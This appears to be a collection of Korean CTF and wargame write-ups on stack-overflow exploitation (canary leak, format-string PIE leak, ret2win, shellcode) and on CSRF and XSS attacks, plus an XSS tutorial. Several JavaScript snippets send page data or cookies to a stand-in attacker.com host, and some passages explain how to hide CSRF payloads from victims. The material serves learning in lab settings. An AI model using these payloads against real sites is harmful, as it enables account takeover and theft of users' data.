NX + canary + PIE가 적용됐다고 합니다. PIE는 Position Independent Execution으로, 실행할 때마다 함수들의 주소가 바뀌는 보호기법입니다. 이전 문제들처럼 0x4011dd 이렇게 고정되지 않아 함수의 주소도 동적으로 찾아줘야 합니다.
문제 설명에 대놓고 포맷 스트링 버그를 이용하라고 합니다. 힌트를 공짜로 줍니다.
info function
이번에는 get_shell이 아닌 win이라는 이름의 함수가 있습니다. 따로 사진은 없지만, get_shell과 같은 역할입니다.
disas main
어셈블리 코드로 보면 놓칠 수도 있지만, fsb를 이용하라는 힌트가 있었기 때문에 printf 부분을 잘 살펴보면 이런 부분이 존재합니다.
FSB
스택 영역을 첫번째 인자로 보냅니다. 대충 C언어로 보면 다음과 같습니다.
char buf[0x60]; ... printf(buf); ...
이러면 %p, %n 등의 포맷스트링을 입력했을 때 그대로 "%p", "%n"처럼 출력되는게 아닌 "0x39f0a8"이 출력되는 것처럼 제기능을 하게 됩니다.
%p를 여러번 입력하면 스택에 있는 값까지도 노출됩니다.
stack leak
무작정 %p를 여러번 입력해봤더니 온갖 값들이 출력된 것을 확인할 수 있습니다. 파란 네모로 쳐둔 값이 00으로 끝납니다. 이 값이 canary인 것으로 의심됩니다.
하지만 이번엔 canary만으로는 win 함수에 도달할 수 없습니다. PIE가 설정되어있기 때문에 PIE base 또한 알아야 합니다.
0x5555....
일단 메인 함수는 0x5555...로 시작하는 PIE base를 가졌습니다. 똑같이 시작하는 주소를 하나 찾아내어, 해당 주소가 함수의 영역인지 확인할 수 있다면 PIE값을 어느정도 유추할 수 있을 것입니다.
gdb에서 스택을 확인해보니 주황색 네모처럼 0x5555..로 시작하는 값을 하나 찾을 수 있었습니다. 해당 영역은 다음과 같이 메인 함수의 시작점인 것을 확인할 수 있습니다.
0x0000555555555278
그렇다면 이 부분까지 첫번째 단계에서 leak을 하여 메인 함수의 시작점을 얻어내고, win 함수와의 거리를 계산하여 PIE가 적용된 win 함수의 시작 주소를 얻어낼 수 있습니다.
canary & PIE base + main
canary로부터 6개의 8바이트 값을 지나면 메인함수의 시작주소이므로, 아마 주황색 네모로 친 부분이 PIE가 적용된 메인함수의 주소일 것입니다.
main: 0x1278win: 0x1237
PIE가 적용되기 전, 함수들의 주소를 살펴보면 win 함수의 주소가 main보다 0x41만큼 낮은 곳에 위치하고 있습니다. 따라서 canary 다음 6개의 8바이트를 지나서 얻은 주소에 0x41만큼 빼주면 win의 주소가 되는 것입니다.
이번에도 그냥 가면 do_system에서 segmentation fault가 일어나기 때문에 ret 가젯까지 찾아서 가줍니다.
NX + Stack Canary가 적용된 파일이라고 합니다. 친절히 2단계 입력이고 canary를 먼저 leak하고 오버플로우하라고 쓰여있습니다.
info function
이번에도 checksec은 건너뛰고 함수 목록부터 살펴봤습니다. get_shell이 이번에도 존재하는 것을 확인할 수 있습니다. 이번에도 아마 ret2win이 최종루트이지 않을까 싶습니다.
disas main
메인 함수의 전체 코드입니다. 이 중 canary에 해당하는 부분은 다음과 같습니다.
upper part of stack canarylower part of stack canary
canary를 스택에 넣어두고 메인 함수를 return 하기 전 검사하는 로직을 통해 변조됐을 경우 __stack_chk_fail 함수로 보내버립니다. return address보다 앞(낮은 주소)에 있기 때문에 return address를 변조하기 위해서는 canary를 최대한 건드리지 않고 지나가야 합니다. 일단 2단계 입력이라고 했으니 실행해보면서 어떤 동작인지 확인해보겠습니다.
stage 1에서는 사용자의 입력을 그대로 돌려주고 stage 2에서는 입력만 받고 곧바로 종료됩니다. stage 1에서 입력을 그대로 돌려주는 부분이 중요할 것 같습니다.
bof point
stage1에서는 0x50만큼의 바이트를 읽어들이고, stage 2에서는 0x100만큼의 바이트를 읽어들이는 오버플로우 취약점을 확인할 수 있습니다.
stage 1에서, rsp를 0x50만큼 뺐으니 0x50만큼의 바이트를 읽어들이는게 문제처럼 보이지 않을 수 있지만, rsp를 0x50만큼 뺐던건 canary의 공간까지 포함을 했던 것이기 때문에 canary를 덮어쓰거나 할 수 있는 위험은 여전히 남아있습니다. 예상 코드는 대충 이렇습니다.
첫번째 read 함수를 호출하기 직전 스택의 상황은 위와 같습니다. 파란 영역이 buf의 영역이고, 주황색 영역이 canary입니다. 하지만 첫번째 입력에서 canary까지 간섭할 정도의 바이트수를 받기 때문에 canary를 leak할 수 있습니다.
기본적으로 printf는 NULL문자, 즉 \x00를 만나기 전까지 이어서 출력을 합니다. canary의 첫 바이트(가장 낮은 위치의 바이트)는 \x00으로 고정이기 때문에 만약 read 함수가 0x50만큼이 아니라 0x48만큼만 읽었다면 canary를 leak할 수 없었을 것입니다. 하지만 0x50이기 때문에 canary의 첫 바이트를 \x00이 아닌 다른값으로 덮어씌워, printf로 canary의 값까지 출력시킬 수 있습니다.
따라서, 첫번째 입력에는 아무 문자나 0x49만큼, 즉 73개의 아무 문자를 입력하면 됩니다.
leak canary
A를 73개 입력하니 이상한 값이 같이 출력됐습니다. 이는 파이썬으로 받으면 됩니다.
앞의 72개 문자를 잘라내고 첫번째 A(\x41)를 \x00로 바꾼 뒤 8바이트만 잘라내면 canary를 정확히 얻어낼 수 있습니다.
따라서 페이로드는 다음과 같습니다.
이번에도 do_system에서 스택정렬에 의한 segmentation fault가 일어나니 ret 가젯을 활용해줍니다.
문제 설명을 보면, NX만 적용됐다고 합니다. 또한, 이미 존재하는 함수로 return하라고 쓰여있습니다. 아마 추가적인 win 함수가 있는듯 합니다. system() 정렬 이슈에 주의하라는 문구가 써있는데, 처음에는 뭔소린지 몰랐다가 나중에 알게 됐습니다. 이후 서술하겠습니다.
info function
checksec 확인은 넘어가고, 바로 함수 목록부터 살펴봤습니다. 사용자 함수로 보이는 get_shell이라는 함수가 존재합니다.
disas get_shell: system("/bin/sh");
디스어셈블을 해보니 냅다 바로 쉘을 꺼내주는 함수임을 알 수 있습니다. 이 함수로 도달만 시키면 될 것 같습니다.
main
메인 함수를 살펴보면 페이로드만을 받습니다.
0x40만큼의 공간을 확보해두고 0x100만큼의 값을 읽어들이는 걸 확인할 수 있습니다. 코드를 대충 복원해보면 다음과 같습니다.
char buf[0x40]; puts("[*] no more shellcode. now what?"); puts("[*] send your payload:");
read(stdin, buf, 0x100); // stdin == 0
이렇게 봤을 땐, 단순히 0x40 + 0x8만큼의 쓰레기값을 채우고 PIE도 걸려있지 않으니 바로 get_shell의 주소인 0x4011dd를 return address로 덮어씌워주면 될 것 같습니다.
페이로드:
A*0x48 + 0x4011dd
not works
하지만 이대로 페이로드를 보내보면 쉘이 얻어지지 않습니다. 원인을 알아내기 위해 gdb로 직접 값을 넣어서 돌려봤습니다.
overwrite ret addrsegmentation fault
do_system이라는 library 함수에서 segmentation fault가 난 것을 확인할 수 있습니다. 한참을 찾아본 결과, glibc 함수는 내부적으로 속도 향상을 위해 movaps라는 instruction을 사용하는데, 이 instruction은 rsp 값이 0으로 정렬되어 있어야만 정상작동한다고 합니다.
일반적인 함수 호출 흐름이였다면, call instruction이 사용되면서 rsp 값이 8만큼 감소합니다(rsp: 0x~~8). 하지만 호출된 함수 내부로 들어가면서 스택프레임(push rbp; mov rbp, rsp)에 의해 rbp가 push되며 8만큼 추가적으로 감소하여 rsp의 끝자리는 0으로 유지가 됩니다.
하지만 스택 오버플로우를 통해 call이 아닌 ret로 함수 이동이 되는 경우에는 call instruction이 사용되지 않아 스택프레임만에 의해 rsp 값이 8만큼 감소합니다. 결국 rsp의 끝자리가 8인채로 do_system에 진입하기 때문에 segmentation fault가 일어나게 됩니다. 자세한건 이 블로그를 참고하면 좋습니다.
아무튼, rsp를 8만큼 빼든 더하든 해서 정렬을 시켜줄 필요가 있습니다. 그 중 가장 단순한 방법이 ROP 가젯을 활용하는 방법인데, get_shell 주소 앞에 ret instruction이 있는 주소를 붙여둬서 rsp를 8만큼 더하는 방식을 사용할 수 있습니다.
scenario explanation
원래는 파란 네모에 리턴 주소를 넣었지만, 이제는 파란 네모에 ret 가젯을 넣고, 주황색 네모에 리턴주소(get_shell의 시작점)를 넣는 겁니다. ret는 pop rdi; jmp rdi 같은 역할을 하기 때문에 rsp의 값이 0x7fffffffdce8이 될 것입니다. 이대로 get_shell에 진입하여 스택프레임을 거치면 rsp의 값은 0x7fffffffdce0이 될 것입니다. 그러면 do_system에서 문제를 일으키지 않을 것입니다.
문제 설명에 친절히 풀이법이 적혀있습니다. checksec으로 파일에 걸린 보안장치를 확인해보았을 때, 다음과 같습니다.
문제 설명에 적혀있듯, 보안장치들이 걸려있지 않습니다. gdb를 사용하여 main 함수를 살펴보면 다음과 같습니다.
disas main
스택에 0x40만큼의 공간을 확보하고 printf와 puts를 호출한뒤 read를 통해 값을 입력받는 것을 확인할 수 있습니다.
x/s each string
코드 옆에 주석으로 달린 주소의 값들을 문자열이라고 상정하고 확인해보니 위와 같은 문자열이 저장돼있는 것을 확인할 수 있었습니다. 이를 통해 코드의 일부분을 예측해보면 다음과 같습니다.
char buf[0x40]; printf("[*] buf is at %p\n", buf); puts("[*] send your payload:");
read(stdin, buf, 0x200); // stdin == 0
return 0;
스택은 분명 0x40만큼의 공간을 확보해뒀는데 0x200만큼의 값을 읽어들이는 코드를 확인할 수 있습니다. 이를 이용해 스택 오버플로우를 일으킬 수 있습니다.
위에서 보안장치를 살펴봤을 때 NX가 걸려있지 않았던 점을 활용해 스택 여유공간(buf 영역)에 쉘코드를 넣어두고, 나머지 공간을 쓰레기 값들로 채운 뒤, return 주소를 buf의 주소로 덮어씌운다면 쉘을 따낼 수 있을 것입니다.
stack values from $rbp-0x40
read 함수가 실행되기 직전 스택 상황을 보면 위와 같습니다. 빨간 영역은 buf, 파란 영역은 저장된 rbp 값, 노란 영역이 buf의 주소로 덮어씌울 대상인 return address입니다. 맨 처음에 buf의 주소를 직접 알려주기 때문에 해당 주소값을 활용하면 됩니다. 페이로드는 다음과 같이 작성될 예정입니다.
`GET Admin 1` -> `GET Admin 2` -> `GET Admin 3` 순으로 푼다. 이번 문제는 CSRF 공격을 이용하게 된다.
`[아이디]`라는 ID로 계정을 생성하면 해당 ID와 함께 `[아이디]_admin`이라는 ID로 관리자 계정이 생겨난다. 이번 문제에서부터는 mypage.php 페이지에서 회원정보(정확히는 비밀번호만) 수정이 가능해졌다.
1. GET Admin 1
GET Admin 1index.php
이전까지 풀었던 문제와 똑같이 생긴 웹사이트다.
mypage.php?user=nciwol
달라진 점이라고 한다면 회원정보 수정이 가능해졌다는 것이다. 원래 `nciwo`였던 비밀번호를 `asdf`로 바꿔보았다.
login.php
앞으로 로그인을 할 때 비밀번호에는 `nciwo`가 아닌 `asdf`로 해야한다.
mypage.php
view-source:mypage.php
mypage.php의 페이지 소스 코드를 확인해보면, 제출(<form> 태그)이 mypage_update.php라는 페이지로 향한다는 것을 알 수 있다. 실제로 회원정보 수정이 이루어지는 곳은 mypage_update.php라는 파일이라는 뜻을 의미한다.
mypage_update.php Request & Response
실제로 mypage_update.php로 전송 및 응답된 패킷을 확인해보면 위와 같다. POST 요청을 날려, body에 적힌 정보들을 통해 회원정보를 수정한다.
mypage_update.php with GET
하지만 POST 방식이 아닌 GET 요청을 했을 때 또한 회원정보가 정상적으로 수정되는 것을 확인할 수 있다.
그렇다면 굳이 POST 방식이 아닌 GET 방식, 즉, URL을 생성해 CSRF 공격을 할 수 있는 것이다.
`~~/csrf_1/mypage_update.php?id=&info=&pw=1234`라는 URL을 클릭하면 클릭한 사용자의 비밀번호가 `1234`로 바뀌게 된다.
하지만 URL이 너무너무 수상하게 생겼다. 설령 URL을 다른 URL로 위장한다고 해도(예를 들어 URL 단축 서비스 사용), 해당 링크를 클릭한 사용자는 다음의 화면을 마주하게 될 것이다.
회원 정보 수정에 성공하셨습니다!
링크를 클릭했더니 "회원 정보 수정에 성공하셨습니다!"라는 문구가 출력된다. 누가 봐도 수상하다. 사용자는 이 사실에 대해 즉시 운영자에게 알리거나, 여전히 회원정보 수정이 가능한 상태라면 원래의 비밀번호로 되돌려놓을 것이다.
사용자가 자신도 모르는 새에 해당 링크에 접속하게 해야만 한다.
XSS
위와 같은 경우로 인해, CSRF는 보통 XSS와 같이 쓰이곤 한다. 단순히 <img> 태그의 `src` 속성 값을 변조된 mypage_update.php URL로 지정해두면, 클라이언트는 이미지를 불러오기 위해 해당 링크를 타고 들어갈 것이다. 사용자도 모르는 새에 회원정보가 수정되게 된다. 만약 XSS의 취약점이 Stored XSS에 해당한다면, 피해자는 글을 읽기만 해도 비밀번호가 털리는 것이다.
글에 들어가보니 깨진 이미지 아이콘이 보인다. 로그아웃한 뒤, 원래 ID, PW인 `nciwol`, `nciwo`로 로그인해보겠다.
login.php - nciwol, nciwoLogin failed
로그인이 되지 않는다. 비밀번호를 `nciwo`가 아닌 `1234`로 하여 다시 로그인해보겠다.
login.php - nciwol, 1234Login Success
비밀번호를 1234로 바꾼 적이 없는데도 겨우 글 하나 읽었다고 내 비밀번호가 강제로 변경됐다.
이로써 CSRF + XSS 공격이 먹힌다는 것을 확인했다. 하지만 걸리는 것이 하나 있다.
정상적인 글인척 하기
notice_read.php?id=638
저 깨진 이미지 아이콘이 거슬린다. 누군가 어떤 이미지를 사용하려했던건지 궁금해서 HTML 소스 코드를 확인할 수도 있다.
들켰다!
`src`의 값을 확인해보니 mypage_update.php? 수상하다.
애시당초 깨진 이미지 아이콘이 나오지 않도록 한다면 글을 읽는 사람이 HTML 소스코드를 확인할 일도 없을 것이다.
따라서 <img> 태그속성이 안 보이도록 `style` 속성을 수정해준다면 더욱 완벽할 것이다.
notice_udpate.php
`style`의 속성을 이용해 `display`의 값을 `none`으로 준다면 더이상 보이지 않을 것이다.
notice_read.php?id=638
깨진 이미지 아이콘이 보이지 않는다. 완성됐으니 관리자봇에게 해당 포스트의 URL을 넘겨보겠다.
이제 `nciwol_admin`이라는 ID와, `1234`라는 비밀번호를 가지고 로그인해보겠다.
Flag
2. GET Admin 2
GET Admin 2
1번 문제와 별로 다른 설명이 붙어있지는 않다.
GET method unavailable
1번 문제와 유일하게 다른 점은 mypage_update.php에서 GET 요청을 받지 않는다는 것이다. GET 요청을 받지 않는다면 원래대로 POST 요청을 하는 수밖에 없다. POST 요청만으로 수행이 되는 경우에는 CSRF 단독으로 사용할 수 없다. XSS가 강제된다.
const form = document.querySelector('form');
form.submit();
위의 javascript 코드를 이용하면 <form> 태그를 바로 제출할 수 있다. XSS를 같이 사용한다면 다음의 HTML 코드를 이용해 CSRF 공격을 할 수 있다.
실제로 해당 태그들을 담은 글을 작성하면 다음과 같이 글을 읽었을 때 회원정보가 수정된다.
notice_read.php?id=611
`확인` 버튼을 누르면 로그아웃되고, index.php 페이지로 돌아간다. 사용자에게 들키지 않기 위해서는 이렇게 알림창이 뜨고, index.php 페이지로 돌아가면 안된다.
location.href
mypage_update.php에서의 응답 패킷을 자세히 살펴보면 스크립트를 통해 사용자를 index.php로 돌려보내는 것이다. 즉, 이 스크립트만 실행이 되지 않는다면, 추가적으로 바로 위에 있는 alert() 코드까지 실행되지 않는다면 사용자는 눈치채지 못할 것이다.
<iframe> 태그에서 `sandbox` 속성을 이용하면 스크립트 등을 차단할 수 있다.
login.php에 들어가 ID: `nciwo`, PW: `1234`로 로그인을 시도해보겠다.
pw: 1234Login failed : 1234
처음 변경했던 `1234`라는 비밀번호를 입력하니 로그인에 실패했다.
그렇다면 이번에 새로 시도한 `5678`이라는 비밀번호로 다시 시도해보겠다.
pw: 5678Login success : 5678
`5678`로 시도하니 로그인이 됐다. 즉, 아까 작성한 글에 의해 비밀번호가 `5678`로 바뀌었다는 것이다.
notice_read.php?id=612
하지만 이런 글을 보면 좀 수상할 수 있다. 전부 `display`를 `none`으로 하여 안 보이도록 하겠다.
notice_update.php?id=612notice_read.php?id=612
아무 내용도 없는 글이 완성됐다. 원한다면 글을 작성해서 더욱 자연스럽게 보일 수 있다.
완성된 이 페이지를 관리자 봇에게 넘겨준뒤, `nciwo_admin`이라는 ID와 `5678`이라는 비밀번호를 입력해 로그인 하면 다음과 같이 Flag을 얻어낼 수 있다.
Flag
3. GET Admin 3
GET Admin 3
마지막 3번째 문제도 설명은 변한 것이 없다. 이번 문제 또한 겉보기에는 딱히 변한 것이 없어보이지만, mypage.php 페이지에서 회원정보를 수정해 mypage_update.php로 요청을 보내면 다음과 같은 패킷을 확인할 수 있다.
mypage_update.php Request & Response
전달되는 것이 `id`, `info`, `pw` 이외에 하나가 더 있다. `csrf_token`이라는 것인데, 랜덤한 것처럼 보이는 문자열이 값으로 담겨있다. 만약 해당 토큰을 이용해 사용자를 인증하는 것이라면, 분명 어딘가에서 해당 값을 서버로부터 받았을 것이다.
mypage.php Request & Response
멀지 않은 곳에서 해당 토큰 값을 찾아낼 수 있었다. mypage.php 페이지를 받아올 때 애초에 숨겨진 <input> 태그의 value로 들어가있었다. 이런 토큰을 사용하면 POST 요청만을 받았을 때처럼 CSRF 단독으로 하는 공격이 불가능해진다. 하지만 여전히 XSS와 함께 하는 CSRF에는 취약하다.
보아하니 사용자가 mypage.php에 접속할 때마다 새로운 인증 토큰을 발행하는 것 같은데, <iframe> 태그를 이용해서 mypage.php에 접속해 해당 토큰을 가져오면 그만이다.
즉, 위와 같이 입력을 넣으면 `[javascript]` 부분에 있는 코드를 페이지가 로드되자마자 실행시킬 수 있는 것이다. 아까 만든 javascript 코드를 `[javascript]` 부분에 넣기만 하면 공격 준비가 거의 완료된다.
" onfocus="const infos = document.getElementsByName('info');const data = infos[0].placeholder;const i = new Image();i.src='http://attacker.com/?data=' + data;" autofocus class="
최종적으로 `user` 파라미터의 값으로 들어갈 문구의 원본은 위와 같다.
해당 값을 URL 인코딩하여 입력해 들어갔을 때 공격자의 서버로 패킷이 날아간다면 성공적인 것이다.
/?data=Flag%20Here..!
관리자 봇에게 만들어진 URL을 던져주면 알아서 Flag가 들어올 것이다.
Flag
requestbin을 이용해, 관리자 봇의 요청에 대한 로그를 확인했다.
2. Steal Info
Steal Info
`Basic Script Prac`과 비슷한 패턴의 문제다. 이번에는 XSS Point를 가르쳐주지 않았다.
secret.php
`~/scriptPrac/secret.php`로 접속하면 권한이 없다면서 튕겨져 나온다. 아마 관리자 권한이 있어야만 접근 가능한 것 같다. 이 페이지를 대신해서 존재하는 것이 mypage.html인 것 같다.
mypage.html
`내 정보` 란에 "This is a Very Secret Info."라고 쓰여있다. secret.php에선 해당 부분에 Flag가 있을 것 같다.
XSS Point
어떤 정보를 얻어야할지는 대충 감을 잡았으나, 사실 더 중요한 건 XSS가 일어나는 지점이다. 다행히 XSS Point는 그리 어렵지 않게 찾아낼 수 있었다.
notice_read.php
HTML 특수문자를 담은 글을 작성한 뒤, 글을 읽었을 때 Burp Suite를 통해 정확히 어떤 응답 패킷이 오는가를 살펴보면,
notice_read.php Response Packet
HTML Entity로 치환되지 않은 날 것의 텍스트가 그대로 오는 것을 확인할 수 있다. 즉, notice_read.php에서 XSS 취약점이 존재한다.
Get Info
앞서 mypage.html(secret.php)에 중요한 정보가 있을 것이라는 추측을 하였다. 해당 정보를 공격자의 서버로 보내보겠다.
class="card-text"
중요한 텍스트를 식별할 수 있는 정보는 속성 `class`의 값이 "card-text"라는 것이다. 하지만 `class`는 고유한 정보를 담는 속성은 아니다.
Info exists at index 1
`class`로 "card-text"를 가진 태그는 총 2개였다. 그 중에서도 인덱스 1번에 찾고자 했던 정보가 담겨 있었다. 이를 토대로 공격자 서버로 중요한 정보를 보내는 코드를 작성할 수 있다.
const cards = document.getElementsByClassName('card-text');
const data = cards[1].innerText;
const i = new Image();
i.src = 'https://attacker.com/?data=' + data;
이 코드를 그대로 적용하려고 했지만 문제가 하나 있다. 취약점은 notice_read.php에 존재하는데, 얻고자 하는 데이터는 secret.php에 있다. secret.php에 있는 데이터를 가져오려면 먼저 notice_read.php에 secret.php 페이지를 불러와야 한다.
iframe
페이지 안에 페이지를 불러오는 좋은 방법이 있다. 바로 <iframe> 태그를 사용하는 것이다.
XSS는 Cross(X) Site Scripting의 줄임말로, 클라이언트 측에 스크립트를 삽입하여 중요한 정보를 탈취하는 해킹 기법이다. 사용자의 입력이 HTML 파일 내에 담기거나 Javascript와 같은 스크립트 언어에 의해 출력이 되는 지점에서 해당 공격이 발생할 수 있다. 해당 기법으로는 다른 사용자의 인증 정보인 세션 ID를 탈취하거나, 키로거(Key Logger)를 삽입하여 실제 로그인 정보(ID와 Password 등)를 가로챌 수 있다.
XSS는 `Stored XSS`, `Reflected XSS`, `DOM-Based XSS`로 크게 세 가지 종류의 기법이 존재한다.
타겟 사이트
로그인하여 글을 올릴 수 있는 커뮤니티 형식의 사이트다. 기본적으로 사이트를 이용하기 위해서는 로그인이 필요하다.
login.php
login.php
해당 페이지에서는 단순하게 ID와 PW를 입력하여 로그인을 할 수 있다. 또한 `Sign Up`을 클릭하여 회원가입 또한 가능하다.
login failed
없는 ID로 로그인을 시도하면 위와 같이 "No ID `[시도한 아이디]` in DB"라는 알림창이 뜬다.
signup.php
signup.php
해당 페이지에서는 이름, E-mail, ID, PW를 입력하여 회원가입을 할 수 있다.
board.php
로그인을 하면 바로 이 board.php 페이지로 넘어오게 된다. DB에 저장된 여러 글들이 5개씩 나온다.
검색 기능이 구현되어 있으며, 제목을 클릭하면 해당 글을 읽을 수 있는 페이지로 넘어간다.
`New Post` 버튼을 누르면 새 글을 작성할 수 있다.
`Log Out`를 클릭하면 로그아웃이 되며, login.php로 돌아가게 된다.
board.php?query=as
글을 검색하면 URL 파라미터에 검색어가 들어가며, 해당 단어가 포함된 모든 글을 출력한다. (페이지가 4개인 것은 버그다)
No result
검색어에 대한 결과가 없으면 "No result from [검색어]"라는 문구가 출력된다.
read_post.php
read_post.php
board.php에서 제목을 클릭하면 이 read_post.php로 이동하게 되는데, 뒤에 붙은 `postNo` 파라미터의 값에 따라 글이 출력된다.
해당 페이지에서는 단순하게 글의 제목과 내용을 출력해주기만 한다.
상단의 Home 글자를 클릭하면 board.php로 돌아갈 수 있다.
new_post.php
new_post.php
board.php에서 `New Post` 버튼을 클릭하면 이 페이지로 이동한다.
위의 한 줄짜리 입력칸 <input>에는 제목을, 큰 <textarea>에는 글의 내용을 작성하여 `Post` 버튼을 클릭해 글을 등록할 수 있다.
mypage.php
mypage.php
이 페이지는 버튼을 클릭해서 접속할 수 있는 경로가 존재하지 않지만 URL을 직접 입력함으로써 접속할 수 있다.
해당 페이지에서는 사용자의 모든 정보를 출력한다.
Stored XSS
Stored XSS(저장형 XSS)는 서버 DB에 악성 스크립트를 저장해두는 방식으로 공격을 시도한다.
예를 들어 악성 스크립트를 담은 글을 작성하면 DB에 해당 글이 저장되고, 다른 사용자가 그 글을 읽을 때 스크립트가 작동하는 방식이다. 커뮤니티 형식의 사이트에서 보통 글은 DB에 저장이 되기 때문에 Stored XSS의 가능성이 있다.
Example
앞서 소개한 사이트에서 예를 들어보겠다.
여기서 13번째 글, `i`라는 제목을 가진 글에 들어가보면 다음과 같은 글이 존재한다.
단순히 심심해보이는 표정이 담긴 글이라고 생각할 수 있다. Burp Suite를 통해 정확히 어떤 패킷을 받았는지 확인해보겠다.
read_post.php?postNo=13 packet
화살괄호(`<`, `>`)와 따옴표(`'`)가 아무 필터링 없이 왔다. 화살괄호와 따옴표에 대한 필터링이 없다는 것은 글을 작성할 때 임의의 태그를 생성하거나 태그의 속성을 수정할 수 있음을 시사한다.
XSS attack
그렇다면 `script` 태그를 포함한 글을 작성하여 `alert()`가 실제로 작동하는지 테스트해보겠다.
18th post
방금 작성한 글은 18번째 글이다. 해당 제목을 클릭하여 들어가보면
read_post.php?postNo=18
`alert()` 알림창이 뜨는 것을 확인할 수 있다. read_post.php 페이지에 XSS 취약점이 존재한다는 것을 알 수 있다. 이러한 취약점을 이용해 DB에 악의적인 스크립트를 담아 클라이언트 측에서 실행하는 것이 Stored XSS이다.
Reflected XSS
Reflected XSS(반사형 XSS)는 악성 스크립트를 서버에 저장하지 않고 입력이 그대로 반사되어 출력되는 곳에서 발생한다.
예를 들어, 로그인 페이지에서 없는 ID를 입력했을 때 "~라는 ID는 존재하지 않습니다."와 같이 사용자의 입력이 그대로 출력된다면 Reflected XSS가 발생할 수 있다.
Example
위에서 사이트를 설명할 때 login.php에서 없는 ID로 로그인하면 어떤 응답이 돌아오는지 보였다.
login faild - non-existent ID
해당 알림이 정확히 어떻게 뜨는 것인지 Burp Suite를 통해 확인해보면 다음과 같다.
이렇게 사용자의 입력이 응답에 그대로 들어가게 되면 SQL Injection 때와 마찬가지로 Injection이 가능하다.
');alert('hello');//
라는 입력을 id 파라미터로 전달하게 되면 `alert()` 알림창이 총 두 번 뜨게 될 것이다.
실제로 응답받은 패킷을 확인해보면 다음과 같다.
하지만 Reflected XSS는 이렇게 반사되는 것만으로 위험하지는 않다. 스크립트를 직접 입력창에 입력을 해야지만 작동하기 때문이다.
Reflected XSS가 다른 사용자에게도 제기능을 하려면 반드시 GET 요청이여야만 한다. GET 요청이면 파라미터들을 URL에 직접 담을 수 있기 때문이다. 위에서 든 예시는 POST 요청이였지만, POST 요청, GET 요청을 전부 받아주는 사이트일 수도 있다.
GET 요청으로도 작동하는 페이지라면 위와 같이 URL에 파라미터를 삽입할 수 있다. GET으로도 동작한다면 공격 링크를 생성할 수 있다. `192.168.96.135:1094/login.php?id=%27%29%3Balert%28%27hello%27%29%3B%2F%2F&pw=noPW`로 들어가게 되면 의도한 스크립트가 실행되는 것이다.
DOM-Based XSS
Reflected XSS를 생각하고 입력이 돌아오는(반사되는) 지점을 찾았다고 가정해보자.
Burp Suite로 응답패킷을 살펴보다보면 분명 패킷에는 입력값이 존재하지 않는데, 브라우저에서는 입력값이 반사되어 출력되는 경우가 존재할 수 있다. 해당 경우는 Javascript와 같은 스크립트 언어를 이용해 입력값을 출력했을 가능성이 존재한다.
Example
사용자의 입력이 반사되는 곳은 로그인 이외에 한 군데가 더 있었다.
board.php에서 검색어를 입력했을 때, 그 검색어에 대한 결과가 없으면 사용자의 입력이 반사됐다.
No result from hmmm
Reflected XSS가 가능한지 알아보기 위해 응답 패킷을 살펴보면 다음과 같다.
'hmmm' not exists in response packet
분명 브라우저에서는 'hmmm'이라는 글자가 출력되고 있는데, 응답 패킷에는 해당 글자가 존재하지 않는다.
응답 패킷을 좀더 살펴보면 다음과 같은 스크립트 태그가 존재하는 것을 확인할 수 있다.
Reflected with JS
해당 코드는 현재 URL에서 파라미터를 가져와 `document.write()` 함수를 통해 페이지에 출력을 해주는 코드다.
`document.write()` 함수의 위험한 점은 그냥 HTML 문서에 파라미터를 아무 필터링 없이 그대로 넣는다는 것이다. 즉, `<script>` 태그를 꾸겨넣을 수 있다는 것이다.
이렇게 응답 패킷에 입력이 그대로 출력되는 지점이 없더라도 스크립트 언어에 의해 반사되는 것을 이용해 XSS를 하는 것을 DOM-Based XSS이다. Reflected XSS와 마찬가지로 URL을 생성해 공격할 수 있다.
XSS를 이용한 데이터 탈취
공격자들이 XSS 취약점을 이용해 `alert()`만 띄우고 끝나지는 않을 것이다. 실제로 해당 취약점을 이용해 어떤 정보를, 어떻게 탈취할 수 있는지 알아보겠다.
기본적으로 데이터를 탈취하기 위해서는 피해자로부터 얻어낸 데이터를 공격자에게 전송할 필요가 있다. 공격자의 서버에 접속만 할 수 있다면 데이터를 전송할 수 있다.
var got_data = "blahblah";
// got_data를 얻어낸 데이터라고 가정
fetch('http://attacker.com/listen.php?data=' + got_data);
예를 들어 위와 같은 코드를 삽입한다고 하면, 얻어낸 데이터를 listen.php의 파라미터로 보내 공격자의 서버 `attacker.com`에서 데이터를 전송 받아낼 수 있는 것이다. `fetch()` 함수를 사용하는 것 이외에도 `<img>` 태그를 이용하는 등의 다양한 방법으로 공격자 서버로 데이터를 전송할 수 있다.
키로거 (Key Logger)
앞서 login.php에 XSS 취약점이 존재한다는 것을 확인했다. 로그인을 하는 곳에 이러한 XSS 취약점이 존재하면 키로거를 삽입해 사용자가 로그인을 하는 과정에서 로그인 정보를 가로챌 수 있다.
XSS Point in login.php
없는 ID로 로그인을 시도했을 때 돌아오는 응답 패킷이다. 사용자의 특수문자를 포함한 입력이 아무 필터링 없이 그대로 반사되고 있는 모습을 보이고 있다. 즉, Reflected XSS의 취약점이 존재하는 것이다.
해당 링크(당연히 여기서는 작동하지 않는다)를 타고 들어가서 로그인을 시도하면 로그인 정보가 공격자 서버로 전송된다.
Infected URL
위의 HTTP/HTTPS 통신 기록은 ① 감염된 URL을 타고 들어가, ② 로그인을 시도하여 공격자 서버로 로그인 정보가 넘어간 후, ③ 최종적으로 원래 사이트에서의 로그인이 성공적으로 이뤄져 board.php로 리다이렉션되는 과정을 보여준다.
Cookie(세션 ID) 탈취
Cookie
클라이언트는 서버에게 요청을 할 때마다 자신이 자신임을 인증해야 한다. 그렇다고 페이지를 요청할 때마다 로그인을 할 수 없으니 cookie라는 것을 사용하기 시작했다. HTTP 패킷 헤더에 `Cookie: user=nciwo`와 같이 적어 서버가 자신을 `nciwo`라는 사용자임을 인식하도록 하였다. 하지만 해당 방법에는 치명적인 결함이 존재한다. `nciwo`라는 ID를 소유하고 있지 않은 사용자가 자신의 cookie를 `nciwo`로 변조해서 속일 수 있다.
이러한 점을 개선한 것이 세션 ID다.
세션 ID
세션 ID 또한 HTTP 패킷 헤더에 `Cookie: PHPSESSID=1k75pv8oojb8fe2hjmbpbe077a`와 같이 적는다. 서버에는 해당 값을 가진 사용자의 ID를 저장해둔다. 그럼 해당 ID를 소유한 사용자는 ID 대신 `1k75pv8oojb8fe2hjmbpbe077a`라는 값을 이용해 자신임을 인증할 수 있게 된다. 이 문자열은 처음 서버가 응답할 때 랜덤하게 생성되므로 다른 사용자는 이 값을 쉽게 추측할 수가 없다.
세션 ID 탈취
